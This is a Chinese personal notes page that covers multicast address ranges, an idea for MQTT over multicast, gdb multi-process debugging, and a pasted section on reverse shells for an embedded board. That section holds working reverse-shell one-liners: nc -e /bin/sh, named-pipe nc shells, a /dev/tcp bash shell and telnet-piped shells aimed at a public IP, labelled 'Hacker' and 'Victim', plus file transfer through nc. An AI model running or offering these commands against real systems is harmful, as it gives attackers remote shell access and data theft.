关于组播的小结

一、目前的一个项目上用到了组播，做完了之后写说明文档的时候记录一下子理解的知识点

1.组播不仅可以在局域网传播，也可以在公网传播

2.公网传播的组播组为

224.0.1.0～238.255.255.255为用户可用的组播地址(临时组地址)，全网范围内有效。

3.局域网传播的组播组为

239.0.0.0～239.255.255.255为本地管理组播地址，仅在特定的本地范围内有效

组播的优点是能够节省流量，满足大数据的多处传输，上下不对称式的数据扩散式传播

二、几个疑问

1. 如果路由器上禁止了组播，组播就不能传播了么，如果视频传输用到了组播，那么我就不能看视频了,但是现实是，我看视频一直都很流畅啊?

2.路由器是不是默认的是上一级的路由器不禁用组播的传输，而且能够进行转发，而下一级别的路由的组播信息不接收和转发?

3.组播技术在节省带宽这一特点上，对串口服务使用客户有什么可以深挖的价值?

三、小细节

组播在加入组播组的时候有一个随机的时间，目的是方式过多的设备同时加入组播组，而引起的混乱

四、一个想法

我在做MQTT的时候，感觉如果协议稍加处理一下，对于那种不想搭MQTT服务器，但是想用类似功能的客户，其实组播实现MQTT式的应用是最方便的，

组播下的简单的MQTT

https://m.2cto.com/kf/201708/665036.html

发自我的小米手机

物联网通信协议的详解及选择建议 – Zeroes – 博客园

https://www.cnblogs.com/zeroes/articles/6951223.html

发自我的小米手机

嵌入式系统反射shell_百度搜索

DM365 测试nc反射shell 成功

开发板先 nc -e /bin/sh 192.168.0.46 1234

PC后 nc -vv -l -p 1234

接收文件夹的方式

PC先新开nc监听29995 nc -l -p 29995 >my.tar

PC后连接上开发板后输入tar cvf – *|nc 192.168.0.46 29995

Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
不使用nc
Method 1:
Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
Method 2:
Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
Method 3:
Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888

Web渗透中的反弹Shell与端口转发的奇淫技巧

http://www.91ri.org/9367.html

来源： 嵌入式系统反射shell_百度搜索

gdb调试多进程和多线程命令 – how to debug in Embeded linux

1. 默认设置下，在调试多进程程序时GDB只会调试主进程。但是GDB（>V7.0）支持多进程的分别以及同时调试，换句话说，GDB可以同时调试多个程序。只需要设置follow-fork-mode(默认值：parent)和detach-on-fork（默认值：on）即可。 follow-fork-mode detach-on-fork 说明parent

来源： gdb调试多进程和多线程命令 – CSDN博客